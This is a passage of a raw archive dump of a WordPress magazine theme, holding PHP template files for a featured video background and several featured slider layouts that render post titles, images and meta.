											<?php do_action( 'penci_extra_meta' ); ?>
                                        </div>
									<?php endif; ?>
								<?php endif; ?>
                            </div>
                        </div>
                    </div>
                </div>

				<?php if ( $i % 6 == 0 && $i > 1 && $i < $num_posts ): echo '</div></div><div class="item swiper-slide"><div class="wrapper-item wrapper-item-classess">'; endif; ?>

				<?php $i ++; endwhile;
			wp_reset_postdata(); ?>
        </div>
    </div>
<?php endif; ?>
PK     /w\֎t    "  featured_slider/featured_video.phpnu [        <?php
/**
 * Featured video background
 * When featured video background is enable, it will disable featured slider
 *
 * @since 1.0
 */

$video_url = get_theme_mod( 'penci_featured_video_url' );
$start_time = get_theme_mod( 'penci_featured_video_start' );
if( ! is_numeric( $start_time ) || ! $start_time ) { $start_time = '0'; }
?>
<div class="featured-area featured-video">
	<div class="featured-video-background<?php if( get_theme_mod( 'penci_featured_video_img_mobile' ) ): ?> has-bg-image<?php endif; ?>" id="penci-featured-video-bg" data-videosrc="<?php echo esc_attr( $video_url ); ?>" data-starttime="<?php echo absint( $start_time ); ?>">
		<?php if( get_theme_mod( 'penci_featured_video_img_mobile' ) ): ?>
			<div class="penci-video-overlay-background" style="background-image: url('<?php echo get_theme_mod( 'penci_featured_video_img_mobile' ); ?>');"></div>
		<?php endif; ?>
		<div class="penci-video-bg-overlay"></div>
		<?php if( get_theme_mod( 'penci_featured_video_text_heading' ) || get_theme_mod( 'penci_featured_video_sub_heading' ) || get_theme_mod( 'penci_featured_video_image' ) ): ?>
			<div class="penci-video-overlay">
				<?php if( get_theme_mod( 'penci_featured_video_image' ) ): ?>
					<div class="penci-video-custom-img<?php if( ! get_theme_mod( 'penci_featured_video_text_heading' ) && ! get_theme_mod( 'penci_featured_video_sub_heading' ) ): echo ' no-margin-bottom'; endif; ?>">
						<img src="<?php echo get_theme_mod( 'penci_featured_video_image' ); ?>" alt="Video Image" />
					</div>
				<?php endif; ?>
				<?php if( get_theme_mod( 'penci_featured_video_text_heading' ) ): ?>
					<h2 class="penci-heading-video"><?php echo do_shortcode( get_theme_mod( 'penci_featured_video_text_heading' ) ); ?></h2>
				<?php endif; ?>
				<?php if( get_theme_mod( 'penci_featured_video_sub_heading' ) ): ?>
					<p class="penci-sub-heading-video"><?php echo do_shortcode( get_theme_mod( 'penci_featured_video_sub_heading' ) ); ?></p>
				<?php endif; ?>
			</div>
		<?php endif; ?>
	</div>
</div>PK     /w\J  J    featured_slider/style-25.phpnu [        <?php
/**
 * Template part for Slider Style 25
 */

$feat_query = penci_get_query_featured_slider();
if ( ! $feat_query ) {
	return;
}
$slider_title_length = get_theme_mod( 'penci_slider_title_length' ) ? get_theme_mod( 'penci_slider_title_length' ) : 12;
$image_size          = get_theme_mod( 'featured_slider_imgsize' ) ? get_theme_mod( 'featured_slider_imgsize' ) : 'penci-thumb';
$image_size_big      = get_theme_mod( 'featured_slider_imgbig' ) ? get_theme_mod( 'featured_slider_imgbig' ) : 'penci-magazine-slider';

$image_size_mobile = get_theme_mod( 'featured_slider_imgsize_mobile' ) ? get_theme_mod( 'featured_slider_imgsize_mobile' ) : 'penci-masonry-thumb';

?>
<?php if ( $feat_query->have_posts() ) : ?>
    <div class="item swiper-slide">
        <div class="wrapper-item wrapper-item-classess">
			<?php $i   = 1;
			$num_posts = $feat_query->post_count;
			while ( $feat_query->have_posts() ) : $feat_query->the_post();
				$thumb = $image_size;
				if ( $i % 4 == 1 ): $thumb = $image_size_big; endif;
				$sizep = 'small';
				if ( $i % 4 == 1 ): $sizep = 'normal'; endif;
				?>
                <div class="penci-item-mag penci-item-<?php echo( $i % 4 ); ?>">
					<?php do_action( 'penci_bookmark_post', get_the_ID(), $sizep ); ?>
					<?php if ( ! get_theme_mod( 'penci_disable_lazyload_slider' ) ) { ?>
                        <a class="penci-image-holder <?php echo penci_classes_slider_lazy(); ?>"
                           data-bgset="<?php echo penci_image_srcset( get_the_ID(), $thumb, $image_size_mobile ); ?>"
                           href="<?php the_permalink(); ?>"
                           title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"></a>
					<?php } else { ?>
                        <a class="penci-image-holder"
                           style="background-image: url('<?php echo penci_get_featured_image_size( get_the_ID(), penci_is_mobile() ? $image_size_mobile : $thumb ); ?>');"
                           href="<?php the_permalink(); ?>"
                           title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"></a>
					<?php } ?>
                    <div class="penci-slide-overlay penci-slider6-overlay">
                        <a class="overlay-link"
                           aria-label="<?php echo wp_strip_all_tags( get_the_title() ); ?>"
                           href="<?php the_permalink(); ?>"></a>
						<?php if ( ! get_theme_mod( 'penci_featured_slider_icons' ) && ( has_post_format( 'video' ) || has_post_format( 'audio' ) || has_post_format( 'link' ) || has_post_format( 'quote' ) || has_post_format( 'gallery' ) ) ): ?>
                            <a href="<?php the_permalink(); ?>"
                               class="overlay-icon-format <?php if ( $i % 4 == 1 ): echo ' lager-size-icon'; endif; ?>">
								<?php if ( has_post_format( 'video' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-play' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'audio' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-music' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'link' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-link' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'quote' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-quote-left' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'gallery' ) ) : ?>
									<?php penci_fawesome_icon( 'far fa-image' ); ?>
								<?php endif; ?>
                            </a>
						<?php endif; ?>
                        <div class="penci-mag-featured-content">
                            <div class="feat-text<?php if ( get_theme_mod( 'penci_featured_meta_date' ) ): echo ' slider-hide-date'; endif; ?>">
								<?php if ( ( $i % 4 == 1 || get_theme_mod( 'penci_featured_show_categories' ) ) && ! get_theme_mod( 'penci_featured_hide_categories' ) ): ?>
                                    <div class="cat featured-cat"><?php penci_category( '' ); ?></div>
								<?php endif; ?>
                                <h3><a title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"
                                       href="<?php the_permalink() ?>"><?php echo wp_trim_words( wp_strip_all_tags( get_the_title() ), $slider_title_length, '...' ); ?></a>
                                </h3>
								<?php if ( $i % 4 == 1 ): ?>
									<?php if ( ! get_theme_mod( 'penci_featured_meta_comment' ) || ! get_theme_mod( 'penci_featured_meta_date' ) || get_theme_mod( 'penci_featured_meta_author' ) ): ?>
                                        <div class="feat-meta">
											<?php if ( get_theme_mod( 'penci_featured_meta_author' ) ): ?>
                                                <span class="feat-author"><?php echo penci_get_setting( 'penci_trans_by' ); ?> <a
                                                            href="<?php echo get_author_posts_url( get_the_author_meta( 'ID' ) ); ?>"><?php the_author(); ?></a></span>
											<?php endif; ?>
											<?php if ( ! get_theme_mod( 'penci_featured_meta_date' ) ): ?>
                                                <span class="feat-time"><?php penci_soledad_time_link(); ?></span>
											<?php endif; ?>
											<?php if ( ! get_theme_mod( 'penci_featured_meta_comment' ) ): ?>
                                                <span class="feat-comments"><a
                                                            href="<?php comments_link(); ?> "><?php comments_number( '0 ' . penci_get_setting( 'penci_trans_comments' ), '1 ' . penci_get_setting( 'penci_trans_comment' ), '% ' . penci_get_setting( 'penci_trans_comments' ) ); ?></a></span>
											<?php endif; ?>
											<?php do_action( 'penci_extra_meta' ); ?>
                                        </div>
									<?php endif; ?>
								<?php endif; ?>
                            </div>
                        </div>
                    </div>
                </div>

				<?php if ( $i % 4 == 0 && $i > 1 && $i < $num_posts ): echo '</div></div><div class="item swiper-slide"><div class="wrapper-item wrapper-item-classess">'; endif; ?>

				<?php $i ++; endwhile;
			wp_reset_postdata(); ?>
        </div>
    </div>
<?php endif; ?>
PK     /w\Oo[R  R    featured_slider/style-19.phpnu [        <?php
/**
 * Template part for Slider Style 19
 */


$feat_query = penci_get_query_featured_slider();
if ( ! $feat_query ) {
	return;
}
$slider_title_length = get_theme_mod( 'penci_slider_title_length' ) ? get_theme_mod( 'penci_slider_title_length' ) : 12;
$image_size          = get_theme_mod( 'featured_slider_imgsize' ) ? get_theme_mod( 'featured_slider_imgsize' ) : 'penci-thumb';
$image_size_big      = get_theme_mod( 'featured_slider_imgbig' ) ? get_theme_mod( 'featured_slider_imgbig' ) : 'penci-magazine-slider';

	$image_size_mobile = get_theme_mod( 'featured_slider_imgsize_mobile' ) ? get_theme_mod( 'featured_slider_imgsize_mobile' ) : 'penci-masonry-thumb';

?>
<?php if ( $feat_query->have_posts() ) : ?>
    <div class="item swiper-slide">
        <div class="wrapper-item wrapper-item-classess">
			<?php $i   = 1;
			$num_posts = $feat_query->post_count;
			while ( $feat_query->have_posts() ) : $feat_query->the_post();
				$thumb = $image_size;
				if ( ( $i % 4 == 1 || $i % 4 == 0 ) && ! penci_is_mobile() ): $thumb = $image_size_big; endif;
				?>
                <div class="penci-item-mag penci-item-<?php echo( $i % 4 ); ?>">
	                <?php do_action( 'penci_bookmark_post' ); ?>
					<?php if ( ! get_theme_mod( 'penci_disable_lazyload_slider' ) ) { ?>
                        <a class="penci-image-holder <?php echo penci_classes_slider_lazy(); ?>"
                           data-bgset="<?php echo penci_image_srcset( get_the_ID(),$thumb,$image_size_mobile ); ?>"
                           href="<?php the_permalink(); ?>"
                           title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"></a>
					<?php } else { ?>
                        <a class="penci-image-holder"
                           style="background-image: url('<?php echo penci_get_featured_image_size( get_the_ID(), penci_is_mobile() ? $image_size_mobile : $thumb ); ?>');"
                           href="<?php the_permalink(); ?>"
                           title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"></a>
					<?php } ?>

                    <div class="penci-slide-overlay penci-slider6-overlay">
                        <a class="overlay-link"
                           aria-label="<?php echo wp_strip_all_tags( get_the_title() ); ?>"
                           href="<?php the_permalink(); ?>"></a>
						<?php if ( ! get_theme_mod( 'penci_featured_slider_icons' ) && ( has_post_format( 'video' ) || has_post_format( 'audio' ) || has_post_format( 'link' ) || has_post_format( 'quote' ) || has_post_format( 'gallery' ) ) ): ?>
                            <a href="<?php the_permalink(); ?>" class="overlay-icon-format">
								<?php if ( has_post_format( 'video' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-play' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'audio' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-music' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'link' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-link' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'quote' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-quote-left' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'gallery' ) ) : ?>
									<?php penci_fawesome_icon( 'far fa-image' ); ?>
								<?php endif; ?>
                            </a>
						<?php endif; ?>
                        <div class="penci-mag-featured-content">
                            <div class="feat-text<?php if ( get_theme_mod( 'penci_featured_meta_date' ) ): echo ' slider-hide-date'; endif; ?>">
								<?php if ( ! get_theme_mod( 'penci_featured_hide_categories' ) && get_theme_mod( 'penci_featured_show_categories' ) ): ?>
                                    <div class="cat featured-cat"><?php penci_category( '' ); ?></div>
								<?php endif; ?>
                                <h3><a title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"
                                       href="<?php the_permalink() ?>"><?php echo wp_trim_words( wp_strip_all_tags( get_the_title() ), $slider_title_length, '...' ); ?></a>
                                </h3>
								<?php if ( ! get_theme_mod( 'penci_featured_meta_comment' ) || ! get_theme_mod( 'penci_featured_meta_date' ) || get_theme_mod( 'penci_featured_meta_author' ) ): ?>
                                    <div class="feat-meta">
										<?php if ( get_theme_mod( 'penci_featured_meta_author' ) ): ?>
                                            <span class="feat-author"><?php echo penci_get_setting( 'penci_trans_by' ); ?> <a
                                                        href="<?php echo get_author_posts_url( get_the_author_meta( 'ID' ) ); ?>"><?php the_author(); ?></a></span>
										<?php endif; ?>
										<?php if ( ! get_theme_mod( 'penci_featured_meta_date' ) ): ?>
                                            <span class="feat-time"><?php penci_soledad_time_link(); ?></span>
										<?php endif; ?>
										<?php if ( ! get_theme_mod( 'penci_featured_meta_comment' ) ): ?>
                                            <span class="feat-comments"><a
                                                        href="<?php comments_link(); ?> "><?php comments_number( '0 ' . penci_get_setting( 'penci_trans_comments' ), '1 ' . penci_get_setting( 'penci_trans_comment' ), '% ' . penci_get_setting( 'penci_trans_comments' ) ); ?></a></span>
										<?php endif; ?>
										<?php do_action( 'penci_extra_meta' ); ?>
                                    </div>
								<?php endif; ?>
                            </div>
                        </div>
                    </div>
                </div>

				<?php if ( $i % 4 == 0 && $i > 1 && $i < $num_posts ): echo '</div></div><div class="item swiper-slide"><div class="wrapper-item wrapper-item-classess">'; endif; ?>

				<?php $i ++; endwhile;
			wp_reset_postdata(); ?>
        </div>
    </div>
<?php endif; ?>
PK     /w\L]      featured_slider/style-7.phpnu [        <?php
/**
 * Template part for Slider Style 7
 */

$feat_query = penci_get_query_featured_slider();
if ( ! $feat_query ) {
	return;
}
$slider_title_length = get_theme_mod( 'penci_slider_title_length' ) ? get_theme_mod( 'penci_slider_title_length' ) : 12;
$image_size          = get_theme_mod( 'featured_slider_imgsize' ) ? get_theme_mod( 'featured_slider_imgsize' ) : 'penci-thumb-square';

	$image_size_m = get_theme_mod( 'featured_slider_imgsize_mobile' ) ? get_theme_mod( 'featured_slider_imgsize_mobile' ) : 'penci-masonry-thumb';

?>
<?php if ( $feat_query->have_posts() ) : ?>
	<?php $i   = 1;
	$num_posts = $feat_query->post_count;
	while ( $feat_query->have_posts() ) : $feat_query->the_post(); ?>
        <div class="item swiper-slide">
            <div class="wrapper-item wrapper-item-classess">
                <div class="penci-item-mag penci-item-<?php echo( $i % 4 ); ?>">
	                <?php do_action( 'penci_bookmark_post' ); ?>
					<?php if ( ! get_theme_mod( 'penci_disable_lazyload_slider' ) ) { ?>
                        <a class="penci-image-holder <?php echo penci_classes_slider_lazy(); ?>"
                           data-bgset="<?php echo penci_image_srcset( get_the_ID(),$image_size,$image_size_m ); ?>"
                           href="<?php the_permalink(); ?>"
                           title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"></a>
					<?php } else { ?>
                        <a class="penci-image-holder"
                           style="background-image: url('<?php echo penci_get_featured_image_size( get_the_ID(), penci_is_mobile() ? $image_size_m : $image_size ); ?>');"
                           href="<?php the_permalink(); ?>"
                           title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"></a>
					<?php } ?>
                    <div class="penci-slide-overlay penci-slider7-overlay">
                        <a class="overlay-link"
                           aria-label="<?php echo wp_strip_all_tags( get_the_title() ); ?>"
                           href="<?php the_permalink(); ?>"></a>
						<?php if ( ! get_theme_mod( 'penci_featured_slider_icons' ) && ( has_post_format( 'video' ) || has_post_format( 'audio' ) || has_post_format( 'link' ) || has_post_format( 'quote' ) || has_post_format( 'gallery' ) ) ): ?>
                            <a href="<?php the_permalink(); ?>" class="overlay-icon-format lager-size-icon">
								<?php if ( has_post_format( 'video' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-play' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'audio' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-music' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'link' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-link' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'quote' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-quote-left' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'gallery' ) ) : ?>
									<?php penci_fawesome_icon( 'far fa-image' ); ?>
								<?php endif; ?>
                            </a>
						<?php endif; ?>
                        <div class="penci-mag-featured-content">
                            <div class="feat-text<?php if ( get_theme_mod( 'penci_featured_meta_date' ) ): echo ' slider-hide-date'; endif; ?>">
								<?php if ( ! get_theme_mod( 'penci_featured_hide_categories' ) && get_theme_mod( 'penci_featured_show_categories' ) ): ?>
                                    <div class="cat featured-cat"><?php penci_category( '' ); ?></div>
								<?php endif; ?>
                                <h3><a title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"
                                       href="<?php the_permalink() ?>"><?php echo wp_trim_words( wp_strip_all_tags( get_the_title() ), $slider_title_length, '...' ); ?></a>
                                </h3>
								<?php if ( ! get_theme_mod( 'penci_featured_meta_comment' ) || ! get_theme_mod( 'penci_featured_meta_date' ) || get_theme_mod( 'penci_featured_meta_author' ) ): ?>
                                    <div class="feat-meta">
										<?php if ( get_theme_mod( 'penci_featured_meta_author' ) ): ?>
                                            <span class="feat-author"><?php echo penci_get_setting( 'penci_trans_by' ); ?> <a
                                                        href="<?php echo get_author_posts_url( get_the_author_meta( 'ID' ) ); ?>"><?php the_author(); ?></a></span>
										<?php endif; ?>
										<?php if ( ! get_theme_mod( 'penci_featured_meta_date' ) ): ?>
                                            <span class="feat-time"><?php penci_soledad_time_link(); ?></span>
										<?php endif; ?>
										<?php if ( ! get_theme_mod( 'penci_featured_meta_comment' ) ): ?>
                                            <span class="feat-comments"><a
                                                        href="<?php comments_link(); ?> "><?php comments_number( '0 ' . penci_get_setting( 'penci_trans_comments' ), '1 ' . penci_get_setting( 'penci_trans_comment' ), '% ' . penci_get_setting( 'penci_trans_comments' ) ); ?></a></span>
										<?php endif; ?>
										<?php do_action( 'penci_extra_meta' ); ?>
                                    </div>
								<?php endif; ?>
                            </div>
                        </div>
                    </div>
                </div>
            </div>
        </div>
		<?php $i ++; endwhile;
	wp_reset_postdata(); ?>
<?php endif; ?>
PK     /w\2      featured_slider/style-41.phpnu [        <?php
/**
 * Template part for Slider Style 41
 */
$feat_query = penci_get_query_featured_slider();
if ( ! $feat_query ) {
	return;
}
$slider_title_length = get_theme_mod( 'penci_slider_title_length' ) ? get_theme_mod( 'penci_slider_title_length' ) : 12;
$image_size          = get_theme_mod( 'featured_slider_imgsize' ) ? get_theme_mod( 'featured_slider_imgsize' ) : 'penci-full-thumb';
if ( penci_is_mobile() ) {
	$image_size = get_theme_mod( 'featured_slider_imgsize_mobile' ) ? get_theme_mod( 'featured_slider_imgsize_mobile' ) : 'penci-full-thumb';
}
$main_id  = 'fsm_' . rand();
$thumb_id = 'fst_' . rand();
$data_auto    = get_theme_mod( 'penci_featured_autoplay' ) ? 'true' : 'false';
$data_loop    = get_theme_mod( 'penci_featured_loop' ) ? 'false' : 'true';
$auto_time    = is_numeric( $auto_time = get_theme_mod( 'penci_featured_slider_auto_time' ) ) ? $auto_time : '4000';
$auto_speed   = is_numeric( $auto_speed = get_theme_mod( 'penci_featured_slider_auto_speed' ) ) ? $auto_speed : '600';
?>
<div class="penci-slider41-wrapper">
    <div class="penci-slider41-thumb-wrapper">
        <div class="penci-slider41-thumb penci-owl-carousel penci-owl-carousel-slider swiper" data-item="4"
             data-direction="vertical" data-desktop="4" data-tablet="3" data-mobile="3" data-margin="0"
             data-id="<?php echo $thumb_id; ?>"
             data-auto="<?php echo $data_auto;?>" data-autotime="<?php echo $auto_time;?>" data-speed="<?php echo $auto_speed;?>"
             data-thumb="yes" data-height="false" data-loop="true" data-nav="false">
            <div class="penci-slider41-thumb-inner swiper-wrapper">
				<?php $thumbcount = 0;
				if ( $feat_query->have_posts() ) : while ( $feat_query->have_posts() ) : $feat_query->the_post(); ?>
                    <div class="item swiper-slide">

                        <div class="penci-slider41-t-item">

                            <div class="pcslider-41-img">
                                <div class="penci-image-holder"
                                     style="background-image: url('<?php echo penci_get_featured_image_size( get_the_ID(), $image_size ); ?>');"
                                     href="<?php the_permalink(); ?>"
                                     title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"></div>
                            </div>
                            <div class="pcslider-41-ct">
                                <h3><?php echo wp_trim_words( wp_strip_all_tags( get_the_title() ), $slider_title_length, '...' ); ?></h3>
                            </div>

                        </div>

                    </div>
				<?php endwhile;
					wp_reset_postdata(); endif; ?>
            </div>
        </div>
    </div>
    <div class="penci-slider41-main-wrapper">
        <div class="penci-slider41-main penci-owl-carousel penci-owl-carousel-slider swiper" data-auto="<?php echo $data_auto;?>" data-autotime="<?php echo $auto_time;?>" data-speed="<?php echo $auto_speed;?>" data-nav="true"
             data-loop="true" data-thumbs-id="<?php echo $thumb_id; ?>" data-id="<?php echo $main_id; ?>">
            <div class="swiper-wrapper">
				<?php if ( $feat_query->have_posts() ) : while ( $feat_query->have_posts() ) : $feat_query->the_post(); ?>
                    <div class="item swiper-slide">
                        <a class="penci-slider41-overlay"
                           aria-label="<?php echo wp_strip_all_tags( get_the_title() ); ?>"
                           href="<?php the_permalink(); ?>"></a>
                        <div class="item-inner-content">
                            <a class="penci-image-holder"
                               style="background-image: url('<?php echo penci_get_featured_image_size( get_the_ID(), $image_size ); ?>');"
                               href="<?php the_permalink(); ?>"
                               title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"></a>

							<?php if ( ! get_theme_mod( 'penci_featured_center_box' ) ): ?>
                                <div class="penci-featured-content">
                                    <div class="feat-text<?php if ( get_theme_mod( 'penci_featured_meta_date' ) ): echo ' slider-hide-date'; endif; ?>">
										<?php if ( ! get_theme_mod( 'penci_featured_hide_categories' ) ): ?>
                                            <div class="cat featured-cat"><?php penci_category( '' ); ?></div>
										<?php endif; ?>
                                        <h3><a href="<?php the_permalink() ?>"
                                               title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"><?php echo wp_trim_words( wp_strip_all_tags( get_the_title() ), $slider_title_length, '...' ); ?></a>
                                        </h3>
										<?php if ( ( get_the_excerpt() && ! get_theme_mod( 'penci_featured_meta_excerpt' ) ) || ! get_theme_mod( 'penci_featured_meta_comment' ) || ! get_theme_mod( 'penci_featured_meta_date' ) || get_theme_mod( 'penci_featured_meta_author' ) ): ?>
                                            <div class="feat-meta fade-in penci-fslider-fmeta">
												<?php if ( get_theme_mod( 'penci_featured_meta_author' ) ): ?>
                                                    <span class="feat-author"><?php echo penci_get_setting( 'penci_trans_by' ); ?> <a
                                                                href="<?php echo get_author_posts_url( get_the_author_meta( 'ID' ) ); ?>"><?php the_author(); ?></a></span>
												<?php endif; ?>
												<?php if ( ! get_theme_mod( 'penci_featured_meta_date' ) ): ?>
                                                    <span class="feat-time"><?php penci_soledad_time_link(); ?></span>
												<?php endif; ?>
												<?php if ( ! get_theme_mod( 'penci_featured_meta_comment' ) ): ?>
                                                    <span class="feat-comments"><a
                                                                href="<?php comments_link(); ?> "><?php comments_number( '0 ' . penci_get_setting( 'penci_trans_comments' ), '1 ' . penci_get_setting( 'penci_trans_comment' ), '% ' . penci_get_setting( 'penci_trans_comments' ) ); ?></a></span>
												<?php endif; ?>
                                                <?php do_action( 'penci_extra_meta' ); ?>
												<?php if ( get_the_excerpt() && ! get_theme_mod( 'penci_featured_meta_excerpt' ) ): ?>
                                                    <div class="featured-slider-excerpt">
                                                        <p><?php $excerpt = get_the_excerpt();
															echo wp_trim_words( $excerpt, 20, '...' ); ?></p></div>
												<?php endif; ?>
                                            </div>
										<?php endif; ?>
                                        <div class="penci-featured-slider-button">
                                            <a href="<?php the_permalink() ?>"><?php echo penci_get_setting( 'penci_trans_read_more' ); ?></a>
                                        </div>
                                    </div>
                                </div>
							<?php endif; ?>
                        </div>
                    </div>
				<?php endwhile;
					wp_reset_postdata(); endif; ?>
            </div>
        </div>
    </div>
</div>PK     /w\iT      featured_slider/style-38.phpnu [        <?php
/**
 * Template part for Slider Style 38
 */

$feat_query = penci_get_query_featured_slider();
if ( ! $feat_query ) {
	return;
}
$slider_title_length = get_theme_mod( 'penci_slider_title_length' ) ? get_theme_mod( 'penci_slider_title_length' ) : 12;
$image_size          = get_theme_mod( 'featured_slider_imgsize' ) ? get_theme_mod( 'featured_slider_imgsize' ) : 'penci-thumb-vertical';
if ( penci_is_mobile() ) {
	$image_size = get_theme_mod( 'featured_slider_imgsize_mobile' ) ? get_theme_mod( 'featured_slider_imgsize_mobile' ) : 'penci-masonry-thumb';
}
?>
<?php if ( $feat_query->have_posts() ) : while ( $feat_query->have_posts() ) : $feat_query->the_post(); ?>
    <div class="item swiper-slide">
        <a class="penci-slider38-overlay" aria-label="<?php echo wp_strip_all_tags( get_the_title() ); ?>"
           href="<?php the_permalink(); ?>"></a>
        <a class="penci-image-holder"
           style="background-image: url('<?php echo penci_get_featured_image_size( get_the_ID(), $image_size ); ?>');"
           href="<?php the_permalink(); ?>" title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"></a>

		<?php if ( ! get_theme_mod( 'penci_featured_center_box' ) ): ?>
            <div class="penci-featured-content">
                <div class="feat-text<?php if ( get_theme_mod( 'penci_featured_meta_date' ) ): echo ' slider-hide-date'; endif; ?>">
					<?php if ( ! get_theme_mod( 'penci_featured_hide_categories' ) ): ?>
                        <div class="cat featured-cat"><?php penci_category( '' ); ?></div>
					<?php endif; ?>
                    <h3><a href="<?php the_permalink() ?>"
                           title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"><?php echo wp_trim_words( wp_strip_all_tags( get_the_title() ), $slider_title_length, '...' ); ?></a>
                    </h3>
					<?php if ( ( get_the_excerpt() && ! get_theme_mod( 'penci_featured_meta_excerpt' ) ) || ! get_theme_mod( 'penci_featured_meta_comment' ) || ! get_theme_mod( 'penci_featured_meta_date' ) || get_theme_mod( 'penci_featured_meta_author' ) ): ?>
                        <div class="feat-meta">
							<?php if ( get_theme_mod( 'penci_featured_meta_author' ) ): ?>
                                <span class="feat-author"><?php echo penci_get_setting( 'penci_trans_by' ); ?> <a
                                            href="<?php echo get_author_posts_url( get_the_author_meta( 'ID' ) ); ?>"><?php the_author(); ?></a></span>
							<?php endif; ?>
							<?php if ( ! get_theme_mod( 'penci_featured_meta_date' ) ): ?>
                                <span class="feat-time"><?php penci_soledad_time_link(); ?></span>
							<?php endif; ?>
							<?php if ( ! get_theme_mod( 'penci_featured_meta_comment' ) ): ?>
                                <span class="feat-comments"><a
                                            href="<?php comments_link(); ?> "><?php comments_number( '0 ' . penci_get_setting( 'penci_trans_comments' ), '1 ' . penci_get_setting( 'penci_trans_comment' ), '% ' . penci_get_setting( 'penci_trans_comments' ) ); ?></a></span>
							<?php endif; ?>
                            <?php do_action( 'penci_extra_meta' ); ?>
							<?php if ( get_the_excerpt() && ! get_theme_mod( 'penci_featured_meta_excerpt' ) ): ?>
                                <div class="featured-slider-excerpt"><p><?php $excerpt = get_the_excerpt();
										echo wp_trim_words( $excerpt, 20, '...' ); ?></p></div>
							<?php endif; ?>
                        </div>
					<?php endif; ?>
                    <div class="penci-featured-slider-button">
                        <a href="<?php the_permalink() ?>"><?php echo penci_get_setting( 'penci_trans_read_more' ); ?></a>
                    </div>
                </div>
            </div>
		<?php endif; ?>
    </div>
<?php endwhile;
	wp_reset_postdata(); endif; ?>
PK     /w\iȮW
  W
    featured_slider/style-30.phpnu [        <?php
/**
 * Template part for Slider Style 30
 */

$feat_query = penci_get_query_featured_slider();
if ( ! $feat_query ) {
	return;
}
$slider_title_length = get_theme_mod( 'penci_slider_title_length' ) ? get_theme_mod( 'penci_slider_title_length' ) : 20;
$image_size          = get_theme_mod( 'featured_slider_imgsize' ) ? get_theme_mod( 'featured_slider_imgsize' ) : 'penci-slider-thumb';

	$post_thumb_msize = get_theme_mod( 'featured_slider_imgsize_mobile' ) ? get_theme_mod( 'featured_slider_imgsize_mobile' ) : 'penci-masonry-thumb';

?>
<?php if ( $feat_query->have_posts() ) : while ( $feat_query->have_posts() ) : $feat_query->the_post(); ?>
    <div class="item swiper-slide swiper-mark-item">
	    <?php do_action( 'penci_bookmark_post' ); ?>
		<?php if ( ! get_theme_mod( 'penci_disable_lazyload_slider' ) ) { ?>
            <div class="penci-swiper-mask penci-image-holder <?php echo penci_classes_slider_lazy(); ?>"
               data-bgset="<?php echo penci_image_srcset( get_the_ID(), $image_size,$post_thumb_msize ); ?>"
               href="<?php the_permalink(); ?>" title="<?php echo wp_strip_all_tags( get_the_title() ); ?>">
		<?php } else { ?>
            <div class="penci-swiper-mask penci-image-holder"
               style="background-image: url('<?php echo penci_get_featured_image_size( get_the_ID(), penci_is_mobile() ? $post_thumb_msize : $image_size ); ?>');"
               href="<?php the_permalink(); ?>" title="<?php echo wp_strip_all_tags( get_the_title() ); ?>">
		<?php } ?>

        <a href="<?php the_permalink() ?>" class="featured-slider-overlay"></a>
		<?php if ( ! get_theme_mod( 'penci_featured_center_box' ) ): ?>
            <div class="penci-featured-content">
                <div class="feat-text<?php if ( get_theme_mod( 'penci_featured_meta_date' ) ): echo ' slider-hide-date'; endif; ?>">
					<?php if ( ! get_theme_mod( 'penci_featured_hide_categories' ) ): ?>
                        <div class="cat featured-cat"><?php penci_category( '' ); ?></div>
					<?php endif; ?>
                    <h3><a title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"
                           href="<?php the_permalink() ?>"><?php echo wp_trim_words( wp_strip_all_tags( get_the_title() ), $slider_title_length, '...' ); ?></a>
                    </h3>
                    <div class="penci-featured-slider-button">
                        <a href="<?php the_permalink() ?>"><?php echo penci_get_setting( 'penci_trans_read_more' ); ?></a>
                    </div>
                </div>
            </div>
		<?php endif; ?>
    </div>
    </div>
<?php endwhile;
	wp_reset_postdata(); endif; ?>
PK     /w\:K`      featured_slider/style-15.phpnu [        <?php
/**
 * Template part for Slider Style 15
 */

$feat_query = penci_get_query_featured_slider();
if ( ! $feat_query ) {
	return;
}
$slider_title_length = get_theme_mod( 'penci_slider_title_length' ) ? get_theme_mod( 'penci_slider_title_length' ) : 12;
$image_size          = get_theme_mod( 'featured_slider_imgsize' ) ? get_theme_mod( 'featured_slider_imgsize' ) : 'penci-thumb-vertical';
$image_size_big      = get_theme_mod( 'featured_slider_imgbig' ) ? get_theme_mod( 'featured_slider_imgbig' ) : 'penci-slider-thumb';

